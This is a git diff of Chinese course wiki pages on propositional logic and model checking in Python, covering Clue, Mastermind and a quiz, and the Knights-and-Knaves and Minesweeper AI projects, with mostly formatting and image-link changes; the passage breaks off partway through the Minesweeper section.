b/4.人工智能/4.3.2.1程序示例——命题逻辑与模型检测.md index db1d8ef..da94041 100644 --- a/4.人工智能/4.3.2.1程序示例——命题逻辑与模型检测.md +++ b/4.人工智能/4.3.2.1程序示例——命题逻辑与模型检测.md @@ -1,4 +1,5 @@ # 程序示例——命题逻辑与模型检测 + ::: warning 😋 阅读程序中涉及命题逻辑的部分,然后“玩一玩”程序! @@ -6,9 +7,10 @@ ::: ::: tip 📥 -本节附件下载 +本节附件下载 ::: -# Sentence——父类 + +## Sentence——父类 ```python class Sentence(): # 父类 @@ -21,12 +23,12 @@ class Sentence(): # 父类 def symbols(self): """返回逻辑表达式中所有命题符号的集合。""" return set() - @classmethod # @classmethod装饰器 使得类方法可以在类上被调用 Sentence.validate(...) + @classmethod # @classmethod 装饰器 使得类方法可以在类上被调用 Sentence.validate(...) def validate(cls, sentence): - """验证操作数是否是Sentence或其子类""" + """验证操作数是否是 Sentence 或其子类""" if not isinstance(sentence, Sentence): raise TypeError("must be a logical sentence") - @classmethod # @classmethod装饰器 使得类方法可以在类上被调用 Sentence.parenthesize(...) + @classmethod # @classmethod 装饰器 使得类方法可以在类上被调用 Sentence.parenthesize(...) def parenthesize(cls, s): """如果表达式尚未加圆括号,则加圆括号。""" def balanced(s): @@ -46,7 +48,7 @@ class Sentence(): # 父类 return f"({s})" ``` -# Symbol——命题符号类 +## Symbol——命题符号类 ```python class Symbol(Sentence): @@ -71,12 +73,12 @@ class Symbol(Sentence): return {self.name} ``` -# Not——逻辑非类 +## Not——逻辑非类 ```python class Not(Sentence): def __init__(self, operand): - """验证操作数是否是Sentence或其子类""" + """验证操作数是否是 Sentence 或其子类""" Sentence.validate(operand) self.operand = operand def __eq__(self, other): @@ -94,13 +96,13 @@ class Not(Sentence): return self.operand.symbols() ``` -# And——逻辑乘类 +## And——逻辑乘类 ```python class And(Sentence): def __init__(self, *conjuncts): for conjunct in conjuncts: - """验证操作数是否是Sentence或其子类""" + """验证操作数是否是 Sentence 或其子类""" Sentence.validate(conjunct) self.conjuncts = list(conjuncts) def __eq__(self, other): @@ -124,13 +126,13 @@ class And(Sentence): return set.union(*[conjunct.symbols() for conjunct in self.conjuncts]) ``` -# Or——逻辑和类 +## Or——逻辑和类 ```python class Or(Sentence): def __init__(self, *disjuncts): for disjunct in disjuncts: - """验证操作数是否是Sentence或其子类""" + """验证操作数是否是 Sentence 或其子类""" Sentence.validate(disjunct) self.disjuncts = list(disjuncts) def __eq__(self, other): @@ -151,12 +153,12 @@ class Or(Sentence): return set.union(*[disjunct.symbols() for disjunct in self.disjuncts]) ``` -# Implication——逻辑蕴含类 +## Implication——逻辑蕴含类 ```python class Implication(Sentence): def __init__(self, antecedent, consequent): - """验证操作数是否是Sentence或其子类""" + """验证操作数是否是 Sentence 或其子类""" Sentence.validate(antecedent) Sentence.validate(consequent) """前件""" @@ -183,12 +185,12 @@ class Implication(Sentence): return set.union(self.antecedent.symbols(), self.consequent.symbols()) ``` -# Biconditional——逻辑等值类 +## Biconditional——逻辑等值类 ```python class Biconditional(Sentence): def __init__(self, left, right): - """验证操作数是否是Sentence或其子类""" + """验证操作数是否是 Sentence 或其子类""" Sentence.validate(left) Sentence.validate(right) self.left = left @@ -215,7 +217,7 @@ class Biconditional(Sentence): return set.union(self.left.symbols(), self.right.symbols()) ``` -# Model_check()——模型检测算法 +## Model_check()——模型检测算法 ```python def model_check(knowledge, query): @@ -234,7 +236,7 @@ def model_check(knowledge, query): def check_all(knowledge, query, symbols, model): """检查给定特定模型的知识库是否推理蕴含查询结论。""" # 如果模型已经为所有的命题符号赋值 - if not symbols: # symbols为空即所有 symbols都在模型中被赋值 + if not symbols: # symbols 为空即所有 symbols 都在模型中被赋值 # 若模型中的知识库为真,则查询结论也必须为真 if knowledge.evaluate(model): return query.evaluate(model) @@ -244,10 +246,10 @@ def model_check(knowledge, query): # 选择其余未使用的命题符号之一 remaining = symbols.copy() p = remaining.pop() - # 创建一个命题符号为true的模型 + # 创建一个命题符号为 true 的模型 model_true = model.copy() model_true[p] = True - # 创建一个命题符号为false的模型 + # 创建一个命题符号为 false 的模型 model_false = model.copy() model_false[p] = False # 确保在两种模型中都进行蕴含推理 @@ -259,7 +261,7 @@ def model_check(knowledge, query): return check_all(knowledge, query, symbols, dict()) ``` -# 线索游戏 +## 线索游戏 在游戏中,一个人在某个地点使用工具实施了谋杀。人、工具和地点用卡片表示。每个类别的一张卡片被随机挑选出来,放在一个信封里,由参与者来揭开真相。参与者通过揭开卡片并从这些线索中推断出信封里必须有什么来做到这一点。我们将使用之前的模型检查算法来揭开这个谜团。在我们的模型中,我们将已知与谋杀有关的项目标记为 True,否则标记为 False。 @@ -287,7 +289,7 @@ def check_knowledge(knowledge): if model_check(knowledge, symbol): termcolor.cprint(f"{symbol}: YES", "green") elif not model_check(knowledge, Not(symbol)): - # 模型检测无法确定知识库可以得出 Not(symbol) 即 symbol是可能的 + # 模型检测无法确定知识库可以得出 Not(symbol) 即 symbol 是可能的 print(f"{symbol}: MAYBE") else: termcolor.cprint(f"{symbol}: No", "red") @@ -311,21 +313,21 @@ knowledge.add(Not(ballroom)) check_knowledge(knowledge) ``` -# Mastermind 游戏 +## Mastermind 游戏 在这个游戏中,玩家一按照一定的顺序排列颜色,然后玩家二必须猜测这个顺序。每一轮,玩家二进行猜测,玩家一返回一个数字,指示玩家二正确选择了多少颜色。让我们用四种颜色模拟一个游戏。假设玩家二猜测以下顺序: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/FZCJbOzr9o4oQPx7SNGcFxTSnRd.png) +![](https://cdn.xyxsw.site/FZCJbOzr9o4oQPx7SNGcFxTSnRd.png) 玩家一回答“二”。因此,我们知道其中一些两种颜色位于正确的位置,而另两种颜色则位于错误的位置。根据这些信息,玩家二试图切换两种颜色的位置。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Y80wbn96sol7PUxO5fKcOA9Hnbg.png) +![](https://cdn.xyxsw.site/Y80wbn96sol7PUxO5fKcOA9Hnbg.png) 现在玩家一回答“零”。因此,玩家二知道切换后的颜色最初位于正确的位置,这意味着未被切换的两种颜色位于错误的位置。玩家二切换它们。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/EuXObldHcoaO74xIzZocQQKTn4k.png) +![](https://cdn.xyxsw.site/EuXObldHcoaO74xIzZocQQKTn4k.png) -在命题逻辑中表示这一点需要我们有(颜色的数量)$^2$个原子命题。所以,在四种颜色的情况下,我们会有命题 red0,red1,red2,red3,blue0…代表颜色和位置。下一步是用命题逻辑表示游戏规则(每个位置只有一种颜色,没有颜色重复),并将它们添加到知识库中。最后一步是将我们所拥有的所有线索添加到知识库中。在我们的案例中,我们会补充说,在第一次猜测中,两个位置是错误的,两个是正确的,而在第二次猜测中没有一个是对的。利用这些知识,模型检查算法可以为我们提供难题的解决方案。 +在命题逻辑中表示这一点需要我们有 (颜色的数量)$^2$个原子命题。所以,在四种颜色的情况下,我们会有命题 red0,red1,red2,red3,blue0…代表颜色和位置。下一步是用命题逻辑表示游戏规则(每个位置只有一种颜色,没有颜色重复),并将它们添加到知识库中。最后一步是将我们所拥有的所有线索添加到知识库中。在我们的案例中,我们会补充说,在第一次猜测中,两个位置是错误的,两个是正确的,而在第二次猜测中没有一个是对的。利用这些知识,模型检查算法可以为我们提供难题的解决方案。 ```python from logic import * @@ -379,9 +381,9 @@ for symbol in symbols: print(symbol) ``` -# Quiz +## Quiz -1. 下面的问题将问你关于以下逻辑句子的问题。 1.如果 Hermione 在图书馆,那么 Harry 在图书馆。 2.Hermione 在图书馆里。 3.Ron 在图书馆,Ron 不在图书馆。 4.Harry 在图书馆。 5.Harry 不在图书馆,或者 Hermione 在图书馆。 6.Rom 在图书馆,或者 Hermione 在图书馆。 +1. 下面的问题将问你关于以下逻辑句子的问题。1.如果 Hermione 在图书馆,那么 Harry 在图书馆。2.Hermione 在图书馆里。3.Ron 在图书馆,Ron 不在图书馆。4.Harry 在图书馆。5.Harry 不在图书馆,或者 Hermione 在图书馆。6.Rom 在图书馆,或者 Hermione 在图书馆。 以下哪一个逻辑蕴含推理是正确的? @@ -395,21 +397,21 @@ for symbol in symbols: 2. 除了讲义上讨论的连接词之外,还有其他的逻辑连接词。其中最常见的是“异或”(用符号$\oplus$表示)。表达式$A\oplus B$表示句子“A 或 B,但不是两者都有。”以下哪一个在逻辑上等同于$A\oplus B$? 1. $(A ∨ B) ∧ ¬ (A ∨ B)$ 2. $(A ∨ B) ∧ (A ∧ B)$ - 3. $(A ∨ B) ∧ ¬ (A ∧ B)$ - 4. $(A ∧ B) ∨ ¬ (A ∨ B)$ + 3. $(A ∨ B) ∧ ¬ (A ∧ B)$ + 4. $(A ∧ B) ∨ ¬ (A ∨ B)$ -3. 设命题变量$R$为“今天下雨”,变量$C$为“今天多云”,变量$S$ 为“今天晴”。下面哪一个是“如果今天下雨,那么今天多云但不是晴天”这句话的命题逻辑表示? +3. 设命题变量$R$为“今天下雨”,变量$C$为“今天多云”,变量$S$ 为“今天晴”。下面哪一个是“如果今天下雨,那么今天多云但不是晴天”这句话的命题逻辑表示? - 1. $(R → C) ∧ ¬S$ - 2. $R → C → ¬S$ - 3. $R ∧ C ∧ ¬S$ - 4. $R → (C ∧ ¬S)$ - 5. $(C ∨ ¬S) → R$ + 1. $(R → C) ∧ ¬S$ + 2. $R → C → ¬S$ + 3. $R ∧ C ∧ ¬S$ + 4. $R → (C ∧ ¬S)$ + 5. $(C ∨ ¬S) → R$ -4. 在一阶逻辑中,考虑以下谓词符号。$Student(x)$表示“x 是学生”的谓词。$Course(x)$代表“x 是课程”的谓词,$Enrolled(x,y)$表示“x 注册了 y”的谓词以下哪一项是“有一门课程是 Harry 和 Hermione 都注册的”这句话的一阶逻辑翻译? - 1. $∀x(Course(x)∧Enrolled(Harry, x) ∧ Enrolled(Hermione, x))$ - 2. $∀x(Enrolled(Harry, x) ∨ Enrolled(Hermione, x))$ - 3. $∀x(Enrolled(Harry, x) ∧ ∀y Enrolled(Hermione, y))$ - 4. $∃xEnrolled(Harry, x) ∧ ∃y Enrolled(Hermione, y)$ - 5. $∃x(Course(x) ∧ Enrolled(Harry, x) ∧ Enrolled(Hermione, x))$ - 6. $∃x(Enrolled(Harry, x) ∨ Enrolled(Hermione, x))$ +4. 在一阶逻辑中,考虑以下谓词符号。$Student(x)$表示“x 是学生”的谓词。$Course(x)$代表“x 是课程”的谓词,$Enrolled(x,y)$表示“x 注册了 y”的谓词以下哪一项是“有一门课程是 Harry 和 Hermione 都注册的”这句话的一阶逻辑翻译? + 1. $∀x(Course(x)∧Enrolled(Harry, x) ∧ Enrolled(Hermione, x))$ + 2. $∀x(Enrolled(Harry, x) ∨ Enrolled(Hermione, x))$ + 3. $∀x(Enrolled(Harry, x) ∧ ∀y Enrolled(Hermione, y))$ + 4. $∃xEnrolled(Harry, x) ∧ ∃y Enrolled(Hermione, y)$ + 5. $∃x(Course(x) ∧ Enrolled(Harry, x) ∧ Enrolled(Hermione, x))$ + 6. $∃x(Enrolled(Harry, x) ∨ Enrolled(Hermione, x))$ diff --git a/4.人工智能/4.3.2.2项目:扫雷,骑士与流氓问题.md b/4.人工智能/4.3.2.2项目:扫雷,骑士与流氓问题.md index 7b0c716..80b7020 100644 --- a/4.人工智能/4.3.2.2项目:扫雷,骑士与流氓问题.md +++ b/4.人工智能/4.3.2.2项目:扫雷,骑士与流氓问题.md @@ -1,106 +1,124 @@ # 项目:扫雷,骑士与流氓问题 -我们为你提供了两个简单有趣的项目,帮助你进行知识巩固,请认真阅读文档内容。 +::: warning 😋 我们为你提供了两个简单有趣的项目,帮助你进行知识巩固,请认真阅读文档内容。 如果你卡住了,请记得回来阅读文档,或请求身边人的帮助。 +::: ::: tip 📥 -本节附件下载 +本节附件下载 ::: `pip3 install -r requirements.txt` -# 骑士与流氓问题 +## 骑士与流氓问题 -## 背景 +### 背景 -- 在 1978 年,逻辑学家雷蒙德·斯穆里安(Raymond Smullyan)出版了《这本书叫什么名字?》,这是一本逻辑难题的书。在书中的谜题中,有一类谜题被斯穆里安称为“骑士与流氓”谜题。 -- 在骑士与流氓谜题中,给出了以下信息:每个角色要么是骑士,要么是流氓。骑士总是会说实话:如果骑士陈述了一句话,那么这句话就是真的。相反,流氓总是说谎:如果流氓陈述了一个句子,那么这个句子就是假的。 -- 谜题的目标是,给出每个角色说的一组句子,确定每个角色是骑士还是流氓。 -- 比如,这里有一个简单的谜题只有一个名为 A 的角色。A 说:“我既是骑士又是流氓。” -- 从逻辑上讲,我们可以推断,如果 A 是骑士,那么这句话一定是真的。但我们知道这句话不可能是真的,因为 A 不可能既是骑士又是流氓——我们知道每个角色要么是骑士,要么是流氓,不会出现是流氓的骑士或是骑士的流氓。所以,我们可以得出结论,A 一定是流氓。 -- 那个谜题比较简单。随着更多的字符和更多的句子,谜题可以变得更加棘手!你在这个问题中的任务是确定如何使用命题逻辑来表示这些谜题,这样一个运行模型检查算法的人工智能可以为我们解决这些谜题。 +在 1978 年,逻辑学家雷蒙德·斯穆里安(Raymond Smullyan)出版了《这本书叫什么名字?》,这是一本逻辑难题的书。在书中的谜题中,有一类谜题被斯穆里安称为“骑士与流氓”谜题。 -## 理解 +在骑士与流氓谜题中,给出了以下信息:每个角色要么是骑士,要么是流氓。骑士总是会说实话:如果骑士陈述了一句话,那么这句话就是真的。相反,流氓总是说谎:如果流氓陈述了一个句子,那么这个句子就是假的。 -- 看一下 `logic.py`,你可能还记得讲义的内容。无需了解此文件中的所有内容,但请注意,此文件为不同类型的逻辑连接词定义了多个类。这些类可以相互组合,所以表达式 `And(Not(A), Or(B, C))` 代表逻辑语句:命题 A 是不正确的,同时,命题 B 或者命题 C 是正确的。(这里的“或”是同或,不是异或) -- 回想一下 `logic.py`,它还包含一个 函数 `model_check` 。`model_check` 输入知识库和查询结论。知识库是一个逻辑命题:如果知道多个逻辑语句,则可以将它们连接在一个表达式中。 递归考虑所有可能的模型,如果知识库推理蕴含查询结论,则返回 `True`,否则返回 `False`。 -- 现在,看看 `puzzle.py`,在顶部,我们定义了六个命题符号。例如,`AKnight` 表示“A 是骑士”的命题,`AKnave` 而表示“A 是流氓”的句子。我们也为字符 B 和 C 定义了类似的命题符号。 -- 接下来是四个不同的知识库 `knowledge0`, `knowledge1`, `knowledge2`, and `knowledge3`,它们将分别包含推断即将到来的谜题 0、1、2 和 3 的解决方案所需的知识。请注意,目前,这些知识库中的每一个都是空的。这就是你进来的地方! -- 这个 `puzzle.py` 的 `main` 函数在所有谜题上循环,并使用模型检查来计算,给定谜题的知识,无论每个角色是骑士还是无赖,打印出模型检查算法能够得出的任何结论。 +谜题的目标是,给出每个角色说的一组句子,确定每个角色是骑士还是流氓。 -## 明确 +比如,这里有一个简单的谜题只有一个名为 A 的角色。A 说:“我既是骑士又是流氓。” -- 将知识添加到知识库 `knowledge0`, `knowledge1`, `knowledge2`, 和 `knowledge3` 中,以解决以下难题。 +从逻辑上讲,我们可以推断,如果 A 是骑士,那么这句话一定是真的。但我们知道这句话不可能是真的,因为 A 不可能既是骑士又是流氓——我们知道每个角色要么是骑士,要么是流氓,不会出现是流氓的骑士或是骑士的流氓。所以,我们可以得出结论,A 一定是流氓。 - - 谜题 0 是背景中的谜题。它只包含一个简单的角色 A +那个谜题比较简单。随着更多的字符和更多的句子,谜题可以变得更加棘手!你在这个问题中的任务是确定如何使用命题逻辑来表示这些谜题,这样一个运行模型检查算法的人工智能可以为我们解决这些谜题。 -A 说:“我既是骑士又是流氓。” +### 理解 + +看一下 `logic.py`,你可能还记得讲义的内容。无需了解此文件中的所有内容,但请注意,此文件为不同类型的逻辑连接词定义了多个类。这些类可以相互组合,所以表达式 `And(Not(A), Or(B, C))` 代表逻辑语句:命题 A 是不正确的,同时,命题 B 或者命题 C 是正确的。(这里的“或”是同或,不是异或) + +回想一下 `logic.py`,它还包含一个 函数 `model_check` 。`model_check` 输入知识库和查询结论。知识库是一个逻辑命题:如果知道多个逻辑语句,则可以将它们连接在一个表达式中。递归考虑所有可能的模型,如果知识库推理蕴含查询结论,则返回 `True`,否则返回 `False`。 + +现在,看看 `puzzle.py`,在顶部,我们定义了六个命题符号。例如,`AKnight` 表示“A 是骑士”的命题,`AKnave` 而表示“A 是流氓”的句子。我们也为字符 B 和 C 定义了类似的命题符号。 + +接下来是四个不同的知识库 `knowledge0`, `knowledge1`, `knowledge2`, and `knowledge3`,它们将分别包含推断即将到来的谜题 0、1、2 和 3 的解决方案所需的知识。请注意,目前,这些知识库中的每一个都是空的。这就是你进来的地方! + +这个 `puzzle.py` 的 `main` 函数在所有谜题上循环,并使用模型检查来计算,给定谜题的知识,无论每个角色是骑士还是无赖,打印出模型检查算法能够得出的任何结论。 + +### 明确 + +将知识添加到知识库 `knowledge0`, `knowledge1`, `knowledge2`, 和 `knowledge3` 中,以解决以下难题。 + +- 谜题 0 是背景中的谜题。它只包含一个简单的角色 A + + A 说:“我既是骑士又是流氓。” - 谜题 1 有两个角色:A 和 B -A 说:“我们都是流氓。” + A 说:“我们都是流氓。” -B 什么都没说。 + B 什么都没说。 - 谜题 2 有两个角色:A 和 B -A 说:“我们是同一种身份。” + A 说:“我们是同一种身份。” -B 说:“我们不是同一种身份。” + B 说:“我们不是同一种身份。” - 谜题 3 有三个角色:A,B 和 C -A 说:“我是骑士”或者 A 说:“我是流氓”(这里“或”是异或,不是同或),但你不知道 A 说的是哪句话。 + A 说:“我是骑士”或者 A 说:“我是流氓”(这里“或”是异或,不是同或),但你不知道 A 说的是哪句话。 -B 说:“A 说过‘我是流氓’。” + B 说:“A 说过‘我是流氓’。” -B 又说:“C 是流氓。” + B 又说:“C 是流氓。” -C 说:“A 是骑士。” + C 说:“A 是骑士。” -- 上述每个谜题中,每个角色要么是骑士,要么是流氓。骑士说的每一句话都是真的,流氓说的每一句话都是假的。 -- 一旦你完成了一个问题的知识库,你应该能够运行 `python puzzle.py` 来查看谜题的解决方案。 +上述每个谜题中,每个角色要么是骑士,要么是流氓。骑士说的每一句话都是真的,流氓说的每一句话都是假的。 -## 提示 +一旦你完成了一个问题的知识库,你应该能够运行 `python puzzle.py` 来查看谜题的解决方案。 -- 对于每个知识库,你可能想要编码两种不同类型的信息:(1)关于问题本身结构的信息(即骑士与流氓谜题定义中给出的信息),以及(2)关于角色实际说了什么的信息。 -- 考虑一下,如果一个句子是由一个角色说出的,这意味着什么。在什么条件下这句话是真的?在什么条件下这个句子是假的?你如何将其表达为一个合乎逻辑的句子? -- 每个谜题都有多个可能的知识库,可以计算出正确的结果。你应该尝试选择一个能对谜题中的信息进行最直接的知识库,而不是自己进行逻辑推理。你还应该考虑谜题中信息最简洁的表达方式是什么。 +### 提示 - - 例如,对于谜题 0,设置 `knowledge0=AKnave` 将产生正确的输出,因为通过我们自己的推理,我们知道 A 一定是一个无赖。但这样做违背了这个问题的精神:目标是让你的人工智能为你做推理。 -- 您不需要(也不应该)修改 `logic.py` 来完成这个问题。 +对于每个知识库,你可能想要编码两种不同类型的信息:(1)关于问题本身结构的信息(即骑士与流氓谜题定义中给出的信息),以及(2)关于角色实际说了什么的信息。 -# 扫雷 +考虑一下,如果一个句子是由一个角色说出的,这意味着什么。在什么条件下这句话是真的?在什么条件下这个句子是假的?你如何将其表达为一个合乎逻辑的句子? + +每个谜题都有多个可能的知识库,可以计算出正确的结果。你应该尝试选择一个能对谜题中的信息进行最直接的知识库,而不是自己进行逻辑推理。你还应该考虑谜题中信息最简洁的表达方式是什么。 + +例如,对于谜题 0,设置 `knowledge0=AKnave` 将产生正确的输出,因为通过我们自己的推理,我们知道 A 一定是一个无赖。但这样做违背了这个问题的精神:目标是让你的人工智能为你做推理。 + +您不需要(也不应该)修改 `logic.py` 来完成这个问题。 + +## 扫雷 写一个 AI 来玩扫雷游戏。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/CQmGb6QTjoeyVCx9vjncYF2QnQe.png) +![](https://cdn.xyxsw.site/CQmGb6QTjoeyVCx9vjncYF2QnQe.png) -## 背景 +### 背景 -### 扫雷 +#### 扫雷游戏 -- 扫雷器是一款益智游戏,由一个单元格网格组成,其中一些单元格包含隐藏的“地雷”。点击包含地雷的单元格会引爆地雷,导致用户输掉游戏。单击“安全”单元格(即不包含地雷的单元格)会显示一个数字,指示有多少相邻单元格包含地雷,其中相邻单元格是指从给定单元格向左、向右、向上、向下或对角线一个正方形的单元格。 -- 例如,在这个 3x3 扫雷游戏中,三个 1 值表示这些单元格中的每个单元格都有一个相邻的单元格,该单元格是地雷。四个 0 值表示这些单元中的每一个都没有相邻的地雷。 +扫雷器是一款益智游戏,由一个单元格网格组成,其中一些单元格包含隐藏的“地雷”。点击包含地雷的单元格会引爆地雷,导致用户输掉游戏。单击“安全”单元格(即不包含地雷的单元格)会显示一个数字,指示有多少相邻单元格包含地雷,其中相邻单元格是指从给定单元格向左、向右、向上、向下或对角线一个正方形的单元格。 +例如,在这个 3x3 扫雷游戏中,三个 1 值表示这些单元格中的每个单元格都有一个相邻的单元格,该单元格是地雷。四个 0 值表示这些单元中的每一个都没有相邻的地雷。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/BcfWbqCNKoXpTHxPQVqczsvcnBd.png) +![](https://cdn.xyxsw.site/BcfWbqCNKoXpTHxPQVqczsvcnBd.png) -- 给定这些信息,玩家根据逻辑可以得出结论,右下角单元格中一定有地雷,左上角单元格中没有地雷,因为只有在这种情况下,其他单元格上的数字标签才会准确。 -- 游戏的目标是标记(即识别)每个地雷。在游戏的许多实现中,包括本项目中的实现中,玩家可以通过右键单击单元格(或左键双击,具体取决于计算机)来标记地雷。 +给定这些信息,玩家根据逻辑可以得出结论,右下角单元格中一定有地雷,左上角单元格中没有地雷,因为只有在这种情况下,其他单元格上的数字标签才会准确。 -### 命题逻辑 +游戏的目标是标记(即识别)每个地雷。在游戏的许多实现中,包括本项目中的实现中,玩家可以通过右键单击单元格(或左键双击,具体取决于计算机)来标记地雷。 -- 你在这个项目中的目标是建立一个可以玩扫雷游戏的人工智能。回想一下,基于知识的智能主体通过考虑他们的知识库来做出决策,并根据这些知识做出推断。 -- 我们可以表示人工智能关于扫雷游戏的知识的一种方法是,使每个单元格成为命题变量,如果单元格包含地雷,则为真,否则为假。 +#### 命题逻辑 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/IROdbJ4zAooiWNxitU9cRovbnne.png) +你在这个项目中的目标是建立一个可以玩扫雷游戏的人工智能。回想一下,基于知识的智能主体通过考虑他们的知识库来做出决策,并根据这些知识做出推断。 + +我们可以表示人工智能关于扫雷游戏的知识的一种方法是,使每个单元格成为命题变量,如果单元格包含地雷,则为真,否则为假。 + +![](https://cdn.xyxsw.site/IROdbJ4zAooiWNxitU9cRovbnne.png) + +我们现在掌握了什么信息?我们现在知道八个相邻的单元格中有一个是地雷。因此,我们可以写一个逻辑表达式,如下所示,表示其中一个相邻的单元格是地雷。 -- 我们现在掌握了什么信息?我们现在知道八个相邻的单元格中有一个是地雷。因此,我们可以写一个逻辑表达式,如下所示,表示其中一个相邻的单元格是地雷。 - `Or(A,B,C,D,E,F,G,H)` -- 但事实上,我们知道的比这个表达所说的要多。上面的逻辑命题表达了这样一种观点,即这八个变量中至少有一个是真的。但我们可以做一个更有力的陈述:我们知道八个变量中有一个是真的。这给了我们一个命题逻辑命题,如下所示。 -``` +但事实上,我们知道的比这个表达所说的要多。上面的逻辑命题表达了这样一种观点,即这八个变量中至少有一个是真的。但我们可以做一个更有力的陈述:我们知道八个变量中有一个是真的。这给了我们一个命题逻辑命题,如下所示。 + +```txt Or( And(A, Not(B), Not(C), Not(D), Not(E), Not(F), Not(G), Not(H)), And(Not(A), B, Not(C), Not(D), Not(E), Not(F), Not(G), Not(H)), @@ -113,92 +131,102 @@ Or( ) ``` -- 这是一个相当复杂的表达!这只是为了表达一个单元格中有 1 意味着什么。如果一个单元格有 2、3 或其他值,这个表达式可能会更长。 -- 试图对这类问题进行模型检查也会很快变得棘手:在 8x8 网格(微软初级游戏模式使用的大小)上,我们有 64 个变量,因此需要检查 - $$ - 2^64 - $$ +这是一个相当复杂的表达!这只是为了表达一个单元格中有 1 意味着什么。如果一个单元格有 2、3 或其他值,这个表达式可能会更长。 - 个可能的模型——太多了,计算机无法在任何合理的时间内计算。对于这个问题,我们需要更好地表达知识。 +试图对这类问题进行模型检查也会很快变得棘手:在 8x8 网格(微软初级游戏模式使用的大小)上,我们有 64 个变量,因此需要检查$2^{64}$个可能的模型——太多了,计算机无法在任何合理的时间内计算。对于这个问题,我们需要更好地表达知识。 -### 知识表示 +#### 知识表示 + +相反,我们将像下面这样表示人工智能知识的每一句话。 -- 相反,我们将像下面这样表示人工智能知识的每一句话。 - `{A, B, C, D, E, F, G, H} = 1` -- 这种表示法中的每个逻辑命题都有两个部分:一个是网格中与提示数字有关的一组单元格 `cell`,另一个是数字计数 `count`,表示这些单元格中有多少是地雷。上面的逻辑命题说,在单元格 A、B、C、D、E、F、G 和 H 中,正好有 1 个是地雷。 -- 为什么这是一个有用的表示?在某种程度上,它很适合某些类型的推理。考虑下面的游戏。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/UiHObqm4noSOKlxcEtScuwPlnLd.png) +这种表示法中的每个逻辑命题都有两个部分:一个是网格中与提示数字有关的一组单元格 `cell`,另一个是数字计数 `count`,表示这些单元格中有多少是地雷。上面的逻辑命题说,在单元格 A、B、C、D、E、F、G 和 H 中,正好有 1 个是地雷。 -- 利用左下数的知识,我们可以构造命题 `{D,E,G}=0`,意思是在 D、E 和 G 单元中,正好有 0 个是地雷。凭直觉,我们可以从这句话中推断出所有的单元格都必须是安全的。通过推理,每当我们有一个 `count` 为 0 的命题时,我们就知道该命题的所有 `cell` 都必须是安全的。 -- 同样,考虑下面的游戏。 +为什么这是一个有用的表示?在某种程度上,它很适合某些类型的推理。考虑下面的游戏。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/VSbubz9JYo7H8XxgSbCcmMQHniK.png) +![](https://cdn.xyxsw.site/UiHObqm4noSOKlxcEtScuwPlnLd.png) -- 我们的人工智能会构建命题 `{E,F,H}=3`。凭直觉,我们可以推断出所有的 E、F 和 H 都是地雷。更一般地说,任何时候 `cell` 的数量等于 `count`,我们都知道这个命题的所有单元格都必须是地雷。 -- 一般来说,我们只希望我们的命题是关于那些还不知道是安全的还是地雷的 `cell`。这意味着,一旦我们知道一个单元格是否是地雷,我们就可以更新我们的知识库来简化它们,并可能得出新的结论。 -- 例如,如果我们的人工智能知道命题 `{A,B,C}=2`,那么我们还没有足够的信息来得出任何结论。但如果我们被告知 C 是安全的,我们可以将 C 从命题中完全删除,留下命题 `{A,B}=2`(顺便说一句,这确实让我们得出了一些新的结论) -- 同样,如果我们的人工智能知道命题 `{A,B,C}=2`,并且我们被告知 C 是一颗地雷,我们可以从命题中删除 C,并减少计数的值(因为 C 是导致该计数的地雷),从而得到命题 `{A、B}=1`。这是合乎逻辑的:如果 A、B 和 C 中有两个是地雷,并且我们知道 C 是地雷,那么 A 和 B 中一定有一个是地雷。 -- 如果我们更聪明,我们可以做最后一种推理。 +利用左下数的知识,我们可以构造命题 `{D,E,G}=0`,意思是在 D、E 和 G 单元中,正好有 0 个是地雷。凭直觉,我们可以从这句话中推断出所有的单元格都必须是安全的。通过推理,每当我们有一个 `count` 为 0 的命题时,我们就知道该命题的所有 `cell` 都必须是安全的。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/GsxxbeoPzoOZn4xSUaecVzKNnBc.png) +同样,考虑下面的游戏。 -- 考虑一下我们的人工智能根据中间顶部单元格和中间底部单元格会知道的两个命题。从中上角的单元格中,我们得到 `{A,B,C}=1`。从底部中间单元格中,我们得到 `{A,B,C,D,E}=2`。从逻辑上讲,我们可以推断出一个新的知识,即 `{D,E}=1`。毕竟,如果 A、B、C、D 和 E 中有两个是地雷,而 A、B 和 C 中只有一个是地雷的话,那么 D 和 E 必须是另一个地雷。 -- 更一般地说,任何时候我们有两个命题满足 `set1=count1` 和 `set2=count2`,其中 `set1` 是 `set2` 的子集,那么我们可以构造新的命题 `set2-set1=count2-count1`。考虑上面的例子,以确保你理解为什么这是真的。 -- 因此,使用这种表示知识的方法,我们可以编写一个人工智能智能主体,它可以收集有关扫雷的知识,并希望选择它知道安全的单元格! +![](https://cdn.xyxsw.site/VSbubz9JYo7H8XxgSbCcmMQHniK.png) -## 理解 +我们的人工智能会构建命题 `{E,F,H}=3`。凭直觉,我们可以推断出所有的 E、F 和 H 都是地雷。更一般地说,任何时候 `cell` 的数量等于 `count`,我们都知道这个命题的所有单元格都必须是地雷。 -- 这个项目有两个主要文件:`runner.py` 和 `minesweeper.py`。`minesweeper.py` 包含游戏本身和 AI 玩游戏的所有逻辑。`runner.py` 已经为你实现,它包含了运行游戏图形界面的所有代码。一旦你完成了 `minesweeper.py` 中所有必需的功能,你就可以运行 `python runner.py` 来玩扫雷了(或者让你的 AI 为你玩)! -- 让我们打开 `minesweeper.py` 来了解提供了什么。这个文件中定义了三个类,`Minesweeper`,负责处理游戏;`Sentence`,表示一个既包含一组 `cell` 又包含一个 `count` 的逻辑命题;以及 `MinesweeperAI`,它处理根据知识做出的推断。 -- `Minesweeper` 类已经完全实现了。请注意,每个单元格都是一对 `(i,j)`,其中 `i` 是行号(范围从 `0` 到 `height-1`),`j` 是列号(范围从 `0` 到 `width-1`)。 -- `Sentence` 类将用于表示背景中描述的形式的逻辑命题。每个命题中都有一组 `cell`,以及 